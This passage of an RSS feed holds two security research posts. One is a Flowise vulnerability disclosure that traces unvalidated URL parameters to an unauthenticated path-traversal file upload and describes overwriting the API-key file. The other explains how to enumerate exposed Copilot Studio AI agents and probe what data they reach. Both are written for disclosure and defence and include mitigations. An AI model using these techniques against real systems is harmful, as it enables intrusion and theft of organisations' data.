{<br>                next() // continue<br>            } else if (req.headers[&#39;x-request-from&#39;] === &#39;internal&#39;) {<br>                basicAuthMiddleware(req, res, next)<br>            } else {<br>                const isKeyValidated = await validateAPIKey(req)<br>                if (!isKeyValidated) {<br>                    return res.status(401).json({ error: &#39;Unauthorized Access&#39; })<br>                }<br>                next()<br>            }<br>        } else {<br>            return res.status(401).json({ error: &#39;Unauthorized Access&#39; })<br>        }<br>    } else {<br>        // If the req path does not contain /api/v1, then allow the request to pass through, example: /assets, /canvas<br>        next()<br>    }<br>}</pre><p>Now, let’s examine the /api/v1/attachments route.<br>This API route handles end-user requests for uploading attachments for the agent to process. For example, a user can upload an image and ask the agent or chatbot to describe what it sees in the picture.</p><pre>// @ /packages/server/src/routes/attachments/index.ts<br><br>const router = express.Router()<br>// CREATE<br>router.post(&#39;/:chatflowId/:chatId&#39;, getMulterStorage().array(&#39;files&#39;), attachmentsController.createAttachment)<br>export default router</pre><p>After several calls, the request reaches the createFileAttachment function.<br>Initially, the function retrieves the chatflowid and chatid from the request without any additional validation. The only check performed is whether these parameters are present in the request.</p><pre>// @ /packages/server/src/utils/createAttachment.ts<br>// @ createFileAttachment function<br><br>const chatflowid = req.params.chatflowId<br>if (!chatflowid) {<br>    throw new Error(<br>        &#39;Params chatflowId is required! Please provide chatflowId and chatId in the URL: /api/v1/attachments/:chatflowId/:chatId&#39;<br>    )<br>}<br><br>const chatId = req.params.chatId<br>if (!chatId) {<br>    throw new Error(<br>        &#39;Params chatId is required! Please provide chatflowId and chatId in the URL: /api/v1/attachments/:chatflowId/:chatId&#39;<br>    )<br>}</pre><p>Next, the function retrieves the uploaded files and attempts to add them to storage by calling the addArrayFilesToStorage function.</p><pre>// @ /packages/server/src/utils/createAttachment.ts<br>// @ createFileAttachment function<br><br>const files = (req.files as Express.Multer.File[]) || []<br>const fileAttachments = []<br>if (files.length) {<br>    // ...<br>    for (const file of files) {<br>        const fileBuffer = await getFileFromUpload(file.path ?? file.key)  // get the uploaded file<br>        const fileNames: string[] = []<br>        file.originalname = Buffer.from(file.originalname, &#39;latin1&#39;).toString(&#39;utf8&#39;)<br>        // add it to the storage<br>        const storagePath = await addArrayFilesToStorage(file.mimetype, <br>                                                         fileBuffer,<br>                                                         file.originalname,<br>                                                         fileNames,<br>                                                         chatflowid, chatId) // add it to the storage<br><br>        // ...<br><br>        await removeSpecificFileFromUpload(file.path ?? file.key) // delete from tmp<br>       //  ...<br><br>            fileAttachments.push({<br>                name: file.originalname,<br>                mimeType: file.mimetype,<br>                size: file.size,<br>                content<br>            })<br>        } catch (error) {<br>            throw new Error(`Failed operation: createFileAttachment - ${getErrorMessage(error)}`)<br>        }<br>    }<br>}<br><br>return fileAttachments</pre><p>Now, let’s take a look at the addArrayFilesToStorage function.</p><pre>// @ /packages/components/src/storageUtils.ts<br>// @ addArrayFilesToStorage function<br><br>export const addArrayFilesToStorage = async (mime: string, bf: Buffer, fileName: string, fileNames: string[], ...paths: string[]) =&gt; {<br>    const storageType = getStorageType()<br><br>    const sanitizedFilename = _sanitizeFilename(fileName)<br>    if (storageType === &#39;s3&#39;) {<br>      // ...<br>    } else {<br>        const dir = path.join(getStoragePath(), ...paths) // PATH TRAVERSAL.<br>        if (!fs.existsSync(dir)) {<br>            fs.mkdirSync(dir, { recursive: true })<br>        }<br>        const filePath = path.join(dir, sanitizedFilename)<br>        fs.writeFileSync(filePath, bf)<br>        fileNames.push(sanitizedFilename)<br>        return &#39;FILE-STORAGE::&#39; + JSON.stringify(fileNames)<br>    }<br>}</pre><p>As noted in the comment, the function constructs the directory by joining the output of the getStoragePath function with ...paths, which is essentially the chatflowid and chatId extracted earlier from the request.</p><p>However, as mentioned earlier, these values are not validated to ensure they are UUIDs or integers. As a result, an attacker could manipulate these variables to set the dir variable to any value.<br>Combined with the fact that the filename is also provided by the user, <strong>leads to unauthenticated arbitrary file upload vulnerability.</strong></p><h4>POC</h4><p>The following is the only HTTP request needed.<br>As observed, we are not authenticated, and by manipulating the chatId parameter, we can perform a path traversal. In this example, we overwrite the api.json file, which contains the API keys for the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TA3Kx69YU3jaDJWh" /><figcaption>Fig. 10 — File Upload Vulnerability HTTP request</figcaption></figure><p>In this example, the dir variable will resolve to /root/.flowise/storage/test/../../../../../root/.flowise/, and the filename will be api.json. When checking the API keys in the UI, we can see that they have been modified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SLuBohRKfK4SzAgn" /><figcaption>Fig. 11 — API Keys UI</figcaption></figure><h4>Vulnerability Impact</h4><p>Unauthenticated arbitrary file upload could lead to critical consequences such as compromising the entire agent framework, remote control over the entire server, data infiltration and more</p><h3>Disclosure Timeline</h3><p><strong>January 20, 2025 </strong>— First attempt to contact vendor.<br><strong>February 2, 2025 </strong>— Vulnerability details submitted using GitHub private security feature.<br><strong>February 11, 2025</strong>— Second attempt to contact vendor via Flowise Discord server.<br><strong>February 17, 2025</strong> — Third attempt to contact vendor via Flowise email address.<br><strong>February 28, 2025 </strong>— Fourth attempt to contact vendor, notifies vendor of publication.<br><strong>March 6, 2025 — </strong>Publishing the blog post.</p><h4>Important Note</h4><p><em>Unfortunately, the Flowise team has not been responsive to our efforts. Despite our attempts to collaborate with them over the past 45 days to address the identified vulnerability, we have not received any acknowledgement from their team. Given that we are now observing this vulnerability being actively exploited, we made the difficult decision to disclose it publicly to ensure others can take appropriate precautions. The solution to this vulnerability is straightforward, and we are providing a patch to assist those interested in resolving the issue.</em></p><h4><strong>Call To Action</strong></h4><p>There are two options to mitigate this vulnerability:</p><ol><li>Change the storage type to <strong>S3</strong>. By default, the storage type is set to <strong>Local</strong>, which makes the vulnerability more critical. If your storage type is S3, you are protected from these attacks.</li><li>Apply the patch we’re providing. We encourage you to review the patch beforehand, as it is very small and straightforward, so you won’t have any doubts about applying it.<br><a href="https://github.com/dorattias/CVE-2025-26319/blob/main/CVE-2025-26319-FIX.patch">You can get the vulnerability patch here</a></li><li>If you want to verify that your service remains secure after applying the patch, leave your details @ <a href="http://uncoveragent.com/">http://uncoveragent.com</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0d4194a34183" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Burn Notice, Part 1/5 — Revealing Shadow Copilots]]></title>
            <link>https://medium.com/@attias.dor/the-burn-notice-part-1-5-revealing-shadow-copilots-812def588a7a?source=rss-2cc3bc1e8a9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/812def588a7a</guid>
            <category><![CDATA[copilot-studio]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[data-leak]]></category>
            <dc:creator><![CDATA[Dor Attias]]></dc:creator>
            <pubDate>Mon, 24 Feb 2025 12:23:48 GMT</pubDate>
            <atom:updated>2025-03-08T15:06:45.553Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Burn Notice, Part 1/5 — Revealing Shadow Copilots</h3><h4>How We Extracted Financial Data From Many Multi-Billion-Dollar Companies</h4><blockquote>Burn Notice — The announcement made within an intelligence agency when an agent is compromised or deemed untrustworthy</blockquote><h4>TL;DR</h4><p>In the first episode of our series, we’ll reveal how shockingly easy it was to <strong>extract financial data from multiple multi-billion-dollar companies.</strong> We’ll dive into Copilot Studio, Microsoft’s low-code/no-code platform for building AI agents, and uncover a technique that could allow threat actors to identify exposed agents</p><h4>Intro</h4><p>You’ve likely heard of <strong>AI Agents</strong>.</p><p>AI agents aren’t just another tech breakthrough — they’re a game-changer. While some compare their impact to the cloud revolution, we believe this is even bigger. This is the next Industrial Revolution. Just as steam engines reshaped economies, AI agents will redefine how we work, build, and innovate. The world is about to change — permanently.</p><p>In this “<strong>Burn Notice</strong>” series, we’ll explore why this new technology is unlike anything we’ve seen before and why it’s crucial for everyone to be aware of the emerging risks associated with it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1VURY9NymOFRlvDZTZuO1A.png" /></figure><h3>What Exactly Are AI Agents?</h3><p>AI agents are the next step in the evolution of LLMs, designed to tackle complex tasks autonomously. By combining domain-specific memory with the ability to perform actions such as sending emails, browsing the web, creating Jira tickets, executing code, and even making purchases — these agents go beyond simple text generation. At the core of their intelligence is a reasoning model (LLM), serving as their ‘brain’, allowing them to reason, understand, and generate context-sensitive responses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rEfQAstmUUoNv_O1HKnXTw.png" /><figcaption>AI Agent Basic Architecture</figcaption></figure><h3>‘SaaS is dead’ — Microsoft is Bullish on AI Agents</h3><p>Microsoft is doubling down on AI Agents, with CEO Satya Nadella declaring <strong><em>‘SaaS is dead’</em></strong>, alongside an $80 billion investment in AI data centers for fiscal 2025. Microsoft (and we) believe it’s the beginning of a new era where AI agents take center stage. To back this up, Microsoft is rolling out a growing ecosystem of AI platforms, all designed to make building and scaling AI applications more accessible.</p><p>The following is a partial list of Microsoft products and platforms introduced for the AI agent era — <a href="https://microsoft.github.io/autogen/stable/">AutoGen </a>, <a href="https://microsoft.github.io/autogen/dev//user-guide/agentchat-user-guide/magentic-one.html">Magentic-One</a> , <a href="https://learn.microsoft.com/en-us/semantic-kernel/overview/">Semantic Kernel</a> , <a href="https://azure.microsoft.com/en-us/products/ai-foundry#tabs-pill-bar-ocb48f_tab2">Azure AI Agent Framework</a>, <a href="https://www.microsoft.com/en-us/microsoft-copilot/microsoft-copilot-studio">Copilot Studio</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3eo4EEbAWDhq8ysAO_-HGw.png" /><figcaption>Microsoft AI Agents Products</figcaption></figure><h3>Copilot Studio</h3><p>Microsoft Copilot Studio is a low-code/no-code AI platform launched by Microsoft in November 2023. It lets users build AI agents, known as copilots, within the Microsoft 365 suite. These agents can be tailored to fit different business needs and workflows, helping teams work more efficiently. According to Microsoft, <a href="https://x.com/clamanna/status/1880664933450617203">100,000 organization have used Copilot-Studio by October 2024</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cZC54yIipN4SSuRgP6t85g.png" /><figcaption>100K Copilot Studio agents already in action</figcaption></figure><p>Building an AI agent using Copilot Studio is as easy as it gets, with just three simple steps: adding a knowledge base, selecting tools, and publishing.</p><p>To start, users add knowledge-base by choosing their data sources, which can include uploaded files, SharePoint links, Salesforce, or websites. Next, they select tools from a predefined list, such as sending emails, creating Jira tickets, or calling a custom API. Finally, users publish the agent by choosing the publishing channel and setting the authentication level. And that’s pretty much it — you’ve got yourself an AI agent</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W-QS7lk17h0ksqmK7LwNLw.png" /></figure><p>In Copilot Studio, you don’t get to choose the LLM (Large Language Model), and Microsoft hasn’t fully disclosed which model is used under the hood. By default, these agents are designed for chat-based interactions, but they can also be triggered by events. For example, when a new email arrives, the agent can extract its content and process it as if it were a prompt from a chat interaction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dLnFAFqjn-oRP9QJiCDStg.png" /></figure><h4>Publishing Agents</h4><p>As mentioned earlier, once you’ve built your agent, you can publish it across different channels and platforms. Along with choosing the publishing channel, you’ll also need to set the authentication level.</p><p>Until recently, the default setting was <strong>‘No Authentication’</strong>.<strong><br></strong>We have to give credit to Microsoft for updating this, now adding warning signals when ‘No Authentication’ is selected.</p><p>But will this change actually make a difference? Only time will tell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zocFhcWatP33r5rx_oWaag.png" /><figcaption>Publishing Warning Messages</figcaption></figure><h4>The Breadcrumb</h4><p>No matter which channel you use to publish an agent, Microsoft automatically generates a <strong>“Demo Website”</strong> link. This page is intended for testing and provides a way to interact with the agent through chat. Regardless of whether you deploy the agent via Teams, Slack, or another platform, <strong>this link will always be available.</strong></p><p>The <strong>“Demo Website” </strong>link is built using three key components — <em>environment ID, schema name, and agent name</em> — which we’ll dive into in the next section.<br>https://copilotstudio.microsoft.com/environments/Default-<strong>[ENV_ID]</strong>/bots/<strong>[SCHEMA_NAME]</strong>_<strong>[AGENT_NAME]</strong>/webchat?__version__=2</p><p>While monitoring the browser requests during chat interactions, we noticed another URL that returns a JSON response containing the agent details. The link and the response look like this <a href="https://[ENV_ID].environment.api.powerplatform.com/powervirtualagents/botsbyschema/[SCHEMA_NAME]_[AGENT_NAME]/canvassettings?api-version=2022-03-01-preview">https://</a><a href="https://[ENV_ID].environment.api.powerplatform.com/powervirtualagents/botsbyschema/[SCHEMA_NAME]_[AGENT_NAME]/canvassettings?api-version=2022-03-01-preview"><strong>[ENV_ID]</strong></a><a href="https://[ENV_ID].environment.api.powerplatform.com/powervirtualagents/botsbyschema/[SCHEMA_NAME]_[AGENT_NAME]/canvassettings?api-version=2022-03-01-preview">.environment.api.powerplatform.com/powervirtualagents/botsbyschema/</a><a href="https://[ENV_ID].environment.api.powerplatform.com/powervirtualagents/botsbyschema/[SCHEMA_NAME]_[AGENT_NAME]/canvassettings?api-version=2022-03-01-preview"><strong>[SCHEMA_NAME]</strong></a><a href="https://[ENV_ID].environment.api.powerplatform.com/powervirtualagents/botsbyschema/[SCHEMA_NAME]_[AGENT_NAME]/canvassettings?api-version=2022-03-01-preview">_</a><a href="https://[ENV_ID].environment.api.powerplatform.com/powervirtualagents/botsbyschema/[SCHEMA_NAME]_[AGENT_NAME]/canvassettings?api-version=2022-03-01-preview"><strong>[AGENT_NAME]</strong></a><a href="https://[ENV_ID].environment.api.powerplatform.com/powervirtualagents/botsbyschema/[SCHEMA_NAME]_[AGENT_NAME]/canvassettings?api-version=2022-03-01-preview">/canvassettings?api-version=2022-03-01-preview</a></p><pre>{<br>  &quot;botCanvasSettings&quot;: {<br>    &quot;botId&quot;: &quot;d0524493-....&quot;,<br>    &quot;botName&quot;: &quot;Agent Test&quot;,<br>    &quot;tenantId&quot;: &quot;efbf806c-....&quot;<br>  },<br>  &quot;botPageSettings&quot;: {<br>    &quot;conversationStarters&quot;: [<br>      &quot;&quot;<br>    ],<br>    &quot;personalizedMessage&quot;: &quot;&quot;<br>  }<br>}</pre><h4>The attacker perspective</h4><p>As researchers, we understand that mistakes are inevitable. While it’s possible to enforce authentication for agents, we believe that, despite best efforts, some agents will likely remain unauthenticated in every organization. And surely, some of these will not only be unauthenticated but also connected to internal knowledge sources, which makes the risk even higher.</p><p>Think about it — there is a correct way to configure an S3 bucket, yet we still see misconfigured buckets exposed to the public with overly permissive permissions, even in large enterprises. The same logic applies to agents.</p><p>So how can attackers find these misconfigured agents?</p><p>We know that, <strong>regardless</strong> of the publishing method — whether via Teams, Slack, or another channel — each published agent has a structured link (Demo Website link) that can be interacted with. <br>We also know that this link is built from three key components: t<em>he environment ID, schema name, and agent name.</em></p><p>This means attackers could systematically search for exposed agents.</p><p>In general, an attacker would need to know some of these parameters and guess the others to create a ‘trial’ link. By sending a request to the trial link and analyzing the response, the attacker can determine if the guess was correct. Repeating this process could eventually lead to the discovery of an exposed agent.</p><p>This approach isn’t new; it’s similar to techniques like subdomain enumeration or brute-forcing websites to uncover hidden files, such as configuration files and backups.</p><p>So, is it possible for threat actors to identify some of these three parameters?</p><h3>AI Agents Enumeration</h3><h4>Environment ID</h4><p>There is a<em> .well-known</em> method for obtaining a Tenant ID from a domain. The process is simple: send a single HTTP request to https://login.microsoftonline.com/<strong>[DOMAIN]</strong>/<em>.well-known/</em>openid-configuration and extract the Tenant ID from the JSON response. This ID appears in multiple fields, such as the token_endpoint field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9KnpHGZ_Ss5eAGdK4RGNhA.png" /><figcaption>Extracting tenant id from domain</figcaption></figure><p>From there, the Environment ID is directly derived from the Tenant ID</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_sFukLwrmVFnUCJ6Rg5l4w.png" /><figcaption>Environment ID from Tenant ID</figcaption></figure><h4>Schema Name</h4><p>The schema name starts with cr followed by a hex number, ranging from 0x000 to 0xfff, giving a total of 4096 possible schema names. As of the time of writing this blog, we haven’t found an efficient way to determine if a schema exists, which makes the enumeration a bit trickier (although 4096 isn’t that big of a number).</p><p>However, if you manage to find one legitimate copilot agent, you can easily extract its schema and enumerate it to discover other agents that weren’t meant to be exposed.</p><h4>Agent Name — Achilles’ Heel</h4><p>The main issue with Microsoft’s generated link is that it uses the agent’s name instead of a unique identifier like a UUID. <br>This turns enumeration from basically impossible task into a much more manageable one.</p><p>For comparison, a UUID (128 bits) has <strong>340 undecillion</strong> (2¹²⁸) possible combinations. Trying to guess a UUID through enumeration would take far longer than the entire age of the universe. On the other hand, guessing names is significantly easier. Attackers can use dictionaries, and as you’d expect, many companies end up using the same agent names.</p><p>For example, in different companies we spoke with, the Finance Agent had the same name — “Finance Agent.” Shocking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7lnVtDVss7z-VOXGeW3UrQ.png" /></figure><h4>How do you know when you’ve hit the jackpot?</h4><p>There are three possible responses to an enumeration link request.</p><ol><li>Agent does not exist</li></ol><pre>{<br>  &quot;demoWebsiteErrorCode&quot;: &quot;404&quot;<br>}</pre><p>2. Agent exist, but authentication is required</p><pre>{<br>  &quot;demoWebsiteErrorCode&quot;: &quot;401&quot;<br>}</pre><p>3. Agent exists, and authentication isn’t required (Jackpot!)</p><pre>{<br>  &quot;botCanvasSettings&quot;: {<br>    &quot;botId&quot;: &quot;f09f...&quot;,<br>    &quot;botName&quot;: &quot;Agent Name...&quot;,<br>    &quot;tenantId&quot;: &quot;efbf.....&quot;<br>  }<br>}</pre><p>An enumeration scan would look like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0bUGsSiIc0TzdaWF4YEL_A.png" /><figcaption>Enumeration scan</figcaption></figure><h3>You’ve found an exposed agent, now what?</h3><p>From an attacker’s perspective, once you’ve found an exposed agent, what can you actually do with it? Can you figure out what kind of data it has access to? What tools can it trigger? And wait, isn’t there any security built into this thing?</p><h4>Knowledge Oracle</h4><p>To unlock an agent’s full potential, most are connected to a knowledge base, such as an organization’s SharePoint, Excel sheets, and so on.<br>This got us thinking — is it possible to identify what kind of data is linked to these agents?<strong><br></strong>We discovered that certain queries made to an Agent can help us understand which data is connected to it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Rj6CKQSs7atoJicRJyBEw.png" /><figcaption>Knowledge Oracle</figcaption></figure><p>At this point, you might be wondering — why does this even matter? Isn’t the product’s built-in security enough to protect me?</p><p>It’s true that Copilot Studio agents come with built-in guardrails and content filtering, which should ensure that the agent is doing only what it should. However, no security system is perfect — especially non-deterministic ones — so there will always be ways to bypass these protections. In fact, we managed to do just that.</p><p>While we won’t dive into the details in this blog, we’ll be exploring our approach in an upcoming post.</p><p>In the meantime, let us show you the real impact of a misconfigured agent.</p><h3>In The Wild</h3><p>Imagine this scenario: You’re a finance professional juggling tons of data — Excel files, PDFs, and countless other sources. You’ve just discovered that you can save hours of tedious work by creating a Finance AI Agent. You feed all your data sources into the agent, and instead of manually cross-referencing and sorting through endless information, you simply ask the agent questions, and it does the work for you. Sounds like a dream, right?</p><p>Now, you’re excited to share this amazing tool with your team. To do so, you remove the authentication level to “no authentication” but forget to set it back.</p><p><strong>This is exactly what we’ve discovered in real-life scenarios. We’ve identified exposed AI Agents in several multi-billion-dollar companies and successfully extracted sensitive financial data. The following is just one example among many.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ITGmM9WI_hP_YUyC3nKmrw.png" /><figcaption>Real life findings</figcaption></figure><p>It’s pretty obvious this agent wasn’t meant to be out in the wild, but hey, even the most careful people leave their keys in the door sometimes.</p><p><strong><em>Note:</em></strong><em> We contacted the company in question and provided all the necessary information to resolve the issue.</em></p><h3>Conclusion</h3><p>AI agents are a game-changing technology that promises to transform how we work, bringing major benefits to both organizations and employees. However, with this innovation come new risks and threats — some of which are straightforward and naive, like the unintended exposed agents we discussed today.</p><p>Other threats, however, are much more advanced and differ from the attacks we’re familiar with today. In the upcoming posts, we’ll dig deeper into these new types of attacks and threats, as well as uncover vulnerabilities we’ve identified in major AI agent platforms used by large enterprises globally.</p><p>If you think Copilot Studio is the only platform with issues, stay tuned for our upcoming episodes!</p><h3>Call To Action</h3><ul><li>Review all agents across all platforms, including Copilot Studio.</li><li>Ensure proper configuration for each agent.</li><li>Enable authentication for agents that should not be exposed.</li><li>Verify that agents meant to be exposed are not connected to overly sensitive data.</li><li><em>We’ve built a tool that lets you scan your organization Copilot Studio from the outside. Check it out!<br></em><a href="http://uncoveragent.com/"><em>http://uncoveragent.com</em></a></li></ul><h3>Next episode</h3><p><a href="https://medium.com/@attias.dor/the-burn-notice-part-2-5-ai-agents-when-everything-becomes-an-attack-surface-bbcece386f02">The Burn Notice, Part 2/5 | AI Agents: When Everything Becomes an Attack Surface</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=812def588a7a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>